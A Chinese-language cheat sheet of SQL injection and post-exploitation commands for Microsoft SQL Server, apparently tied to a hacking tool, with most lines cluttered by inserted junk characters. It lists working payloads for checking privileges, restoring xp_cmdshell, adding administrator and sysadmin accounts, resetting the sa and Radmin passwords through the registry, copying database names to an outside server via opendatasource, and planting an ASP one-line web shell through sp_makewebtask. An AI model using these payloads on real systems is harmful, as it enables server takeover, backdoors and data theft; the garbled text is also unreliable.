阿D常用的一些注入命令/ h* v9 S/ u, X1 R1 `6 B8 ~
//看看是什么权限的
# p. X6 ?, d3 b o, s7 Wand 1=(Select IS_MEMBER('db_owner'))
0 v5 c1 \3 @! sAnd char(124)%2BCast(IS_MEMBER('db_owner') as varchar(1))%2Bchar(124)=1 ;--
: a' {8 n T. S8 n4 R
3 l4 n# @/ M3 M//检测是否有读取某数据库的权限
; X1 N0 P z$ l0 qand 1= (Select HAS_DBACCESS('master'))- C* h$ L/ f4 J0 d% g# W \
And char(124)%2BCast(HAS_DBACCESS('master') as varchar(1))%2Bchar(124)=1 --
3 O; ?% y' K7 Y$ x$ l" _, K
) A( u7 X& z3 C- v- f. m) L! E5 s" A2 J4 C) V- }5 [" {# O7 ^0 g
数字类型( z& V0 F. c) t
and char(124)%2Buser%2Bchar(124)=0
4 ?5 V- ~# ^$ P% t: z3 ^7 [
. w9 R8 a' |8 I字符类型
) ?- W/ b: c2 r g, I' and char(124)%2Buser%2Bchar(124)=0 and ''='9 m/ T' U. q* ~0 q
$ c, r+ ^5 W' Q0 K
搜索类型
7 j$ c( p) T, w' and char(124)%2Buser%2Bchar(124)=0 and '%'='5 E& _) Q9 x- d2 d
6 D a+ s" N* {0 U5 q/ r- Y爆用户名4 r" ~ g2 e8 h6 R' q6 ]
and user>0
+ J2 k% o& P/ [' and user>0 and ''=': m( w6 c" m1 J9 M4 _( g
! t& T4 ^) B# |检测是否为SA权限
8 E7 L" N# n/ k) Oand 1=(select IS_SRVROLEMEMBER('sysadmin'));--$ c; k+ F3 r2 i' N( e$ J% ~6 A
And char(124)%2BCast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) as varchar(1))%2Bchar(124)=1 --* Q6 w5 I. v5 K3 Z
6 D, H3 Y. s, ^" r6 Z检测是不是MSSQL数据库
- y9 ]' U/ \* |; z g5 W2 P' Yand exists (select * from sysobjects);-- [0 g. j( m4 W, w2 u
$ K( B, E7 ~7 A7 q) {* J9 R: K3 o检测是否支持多行
0 v5 q6 i' I# R% u;declare @d int;-- * a3 C% H5 n7 d
! f+ V" n n# }' s9 \1 v! s
恢复 xp_cmdshell
2 {! x2 o) R: V3 {& H6 ]9 J;exec master..dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll';--0 D4 ^ e6 x- u4 O
6 v' u$ p. P( E8 e3 t- |
. N7 ~, P) }- E" ~( J; \) |: B+ Aselect * from openrowset('sqloledb','server=192.168.1.200,1433;uid=test;pwd=pafpaf','select @@version') 5 y6 E: \4 x5 ~3 ]" t4 B+ W
?7 q! l/ r; o4 i# N2 ]0 R) [
//-----------------------, q, ~, y5 m9 U+ C* W" U
// 执行命令# t( ?( B) V5 ?" u
//-----------------------
+ t6 V% f( n; `4 p" C8 R& M首先开启沙盘模式:- U% R+ H( Y7 ?
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',12 |( @0 B% S6 A1 H) y
3 a0 Q2 h9 h- y" l$ ^: f# {) [. T2 V- ]然后利用jet.oledb执行系统命令' A& z3 `! j4 b! u# @ s! ~# T- m
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')
X) o9 u. a" A5 ^( s# t- g& F8 G
% G# ^1 o3 B- d! G; E执行命令
! _; U1 F0 i6 P;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user paf pafpaf /add';--
6 B9 F8 [, B! L/ p" Y/ G. w/ q
) c" X j6 O' s \& @* x4 aEXEC [master].[dbo].[xp_cmdshell] 'cmd /c md c:\1111'
; }( }* h4 U; Z* }8 t
! K2 W) m7 r9 h G+ x: T判断xp_cmdshell扩展存储过程是否存在:
. H/ c. c2 Y' `! ]2 v: G7 uhttp://192.168.1.5/display.asp?keyno=188 and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND name = 'xp_cmdshell')
8 P, C O! m/ m+ y- t+ M
0 F. Y: T' Y2 }" `. S% i写注册表5 u/ R' J1 Q! B% y! }* t/ S# ^% E
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
# u( Y3 }2 y8 o8 \0 X8 ?
& v- h+ s& L$ \9 x3 B* CREG_SZ
& i7 }: I& B+ N! y: C$ o% K8 s0 L; Q3 Y; w7 i8 {
读注册表
9 z) o7 o! D7 t0 \9 s+ |6 gexec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Userinit'
: `3 c, d9 O& a% V6 V& U+ r
% l F0 r* _" P读取目录内容& ~. s/ F! F$ y8 y, E9 `% |
exec master..xp_dirtree 'c:\winnt\system32\',1,14 J7 m! u8 K. p) b1 U: H9 Q
* l2 x1 d% m/ E8 z' y/ U
+ q8 S9 Z) p6 o: J3 [数据库备份# Y3 ^0 I* L; z, s
backup database pubs to disk = 'c:\123.bak'
/ _% b: z; u) e; H6 G
0 \5 U( I+ f1 f# z# {8 V//爆出长度
/ j: A9 _* Z, [' SAnd (Select char(124)%2BCast(Count(1) as varchar(8000))%2Bchar(124) From D99_Tmp)=0 ;--
7 ]2 X" L* B3 }1 c2 G z5 X# | O
8 l/ r% w9 K7 `$ y2 W6 q& E5 }/ A
$ M5 V. Y# m, ^8 U9 P更改sa口令方法:用sql综合利用工具连接后,执行命令:
7 K- r, f+ ~# @) L p/ q6 Xexec sp_password NULL,'新密码','sa'
' H8 ?5 F( M0 A8 w* H/ P6 l* _; e
+ Q' v$ c( S' z# [7 ~' z' n( g0 W添加和删除一个SA权限的用户test:& B& g5 }2 V# _% H' e) k, L7 v
exec master.dbo.sp_addlogin test,ptlove
6 p# I; i0 z3 ?+ u; H. W1 R* |( k# ]exec master.dbo.sp_addsrvrolemember test,sysadmin
9 T0 k; i v4 G) ^+ q$ R# ~: V* h2 _; u# E
删除扩展存储过过程xp_cmdshell的语句:
! X, z4 h# O1 K4 ]exec sp_dropextendedproc 'xp_cmdshell': k* W" L) T. A) R' C1 m2 s& H
+ o+ J$ _3 ~+ X9 s% t添加扩展存储过过程
. f7 H: @% g _) QEXEC [master]..sp_addextendedproc 'xp_proxiedadata', 'c:\winnt\system32\sqllog.dll' : @0 k2 h8 Y- f2 n* F P
GRANT exec On xp_proxiedadata TO public
# V$ ~" B6 W# r' o8 H
4 R% T9 M, ]" q6 A( K5 D! x* n+ I3 e# I
停掉或激活某个服务。
! P1 Q1 y& v0 \. R6 D& n; z0 C8 w1 k- Q* Z
exec master..xp_servicecontrol 'stop','schedule'% i% _: r6 K; M3 [4 C0 m i
exec master..xp_servicecontrol 'start','schedule'! q: p* _2 ~ t, k. G
$ ?/ w" i \8 n# P( }dbo.xp_subdirs
5 b7 @1 N! w9 l) Q5 p" r: p$ w& i
6 H8 x/ t3 c, W. i' n只列某个目录下的子目录。1 H$ s7 j9 c l# h
xp_getfiledetails 'C:\Inetpub\wwwroot\SQLInject\login.asp', R, v5 E( ~* k3 e! u/ B: g
5 E6 V+ s, Q9 S! G0 m" W3 ~0 Edbo.xp_makecab
! n3 M+ e$ P) F/ d- o9 m6 h4 G2 s+ A7 a& X H
将目标多个档案压缩到某个目标档案之内。2 E0 X* F5 K5 i) i
所有要压缩的档案都可以接在参数列的最后方,以逗号隔开。
3 M( l# g" a3 ?3 E3 ^6 H1 J" l; t( w; S z b' N ^. Z0 T2 {+ b! K, d
dbo.xp_makecab
4 D! V3 j% @ q$ n7 G- I'c:\test.cab','mszip',1,
7 [3 I$ d8 E" M* f'C:\Inetpub\wwwroot\SQLInject\login.asp', h0 ?" f! y4 u L
'C:\Inetpub\wwwroot\SQLInject\securelogin.asp'( F* g3 ]; [8 o
. e, x* D: y' z. ]8 a6 X
xp_terminate_process
5 N) o3 c0 ]5 |/ m- Q0 @" {6 h. S! w3 x. | f/ h
停掉某个执行中的程序,但赋予的参数是 Process ID。2 h: f+ O/ z1 I7 c3 ^
利用”工作管理员”,透过选单「检视」-「选择字段」勾选 pid,就可以看到每个执行程序的 Process ID; V L2 `3 V# E( c, s7 F
7 G" M9 W; P8 ^- h5 B2 x% F) D3 V; x
xp_terminate_process 2484
& Z/ Z* i+ H% G3 x" ]& G% _7 A- W! Z. ?9 _. o/ u( I7 ^0 ]" l
xp_unpackcab
) A7 i, h F: E' L( G) Z
5 U$ W2 { U4 H1 I$ _( p: s9 F解开压缩档。& y/ x3 w0 @$ g' }; j1 J
: E3 y+ E+ m. k
xp_unpackcab 'c:\test.cab','c:\temp',13 A, Q: i b! Y5 I" }0 ^
' X! s% }6 R- z; o# _6 M
! v7 ` n# v1 e. S) w- R某机,安装了radmin,密码被修改了,regedit.exe不知道被删除了还是被改名了,net.exe不存在,没有办法使用regedit /e 导入注册文件,但是mssql是sa权限,使用如下命令 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','Parameter','REG_BINARY',0x02ba5e187e2589be6f80da0046aa7e3c 即可修改密码为12345678。如果要修改端口值 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','port','REG_BINARY',0xd20400 则端口值改为1234! D9 \) c7 z: K) [
0 P- ]6 b5 [# S2 x; q3 D
create database lcx;
: K P8 A0 l0 K; b7 z. OCreate TABLE ku(name nvarchar(256) null);4 B3 v& r% e5 i; `
Create TABLE biao(id int NULL,name nvarchar(256) null);) B( y5 {6 N3 X5 t1 J- l
1 ?- a8 F$ {! q//得到数据库名! {$ [ R% v9 N
insert into opendatasource('sqloledb','server=211.39.145.163,1443;uid=test;pwd=pafpaf;database=lcx').lcx.dbo.ku select name from master.dbo.sysdatabases1 W% k/ C4 p% Q' f' u+ {
& J }% y; e1 U/ G) J% _
! s2 a6 v* f' [5 A5 e//在Master中创建表,看看权限怎样
; K, ~0 i/ m0 J1 ?6 z3 C, KCreate TABLE master..D_TEST(id nvarchar(4000) NULL,Data nvarchar(4000) NULL);--
- m* E7 Y0 ?/ h/ F! ^5 n+ K4 u( P. P9 h! v: p. {; T! r
用 sp_makewebtask直接在web目录里写入一句话马:: Z( ] i7 j: O& i6 S
http://127.0.0.1/dblogin123.asp?username=123';exec%20sp_makewebtask%20'd:\www\tt\88.asp','%20select%20''<%25execute(request("a"))%25>''%20';--
; [% W; V6 ~9 f, n7 ?: t! y5 @ q; y* k$ z7 t1 v% D
//更新表内容
7 d6 O. m# n' _0 ?# B p7 [1 m5 UUpdate films SET kind = 'Dramatic' Where id = 1233 e, @8 S9 D7 E# H1 q) }
; P/ j$ G. E" ^/ G7 T+ m; |//删除内容6 K) ^4 ` ~ M! C& O- O! {! c
delete from table_name where Stockid = 3 |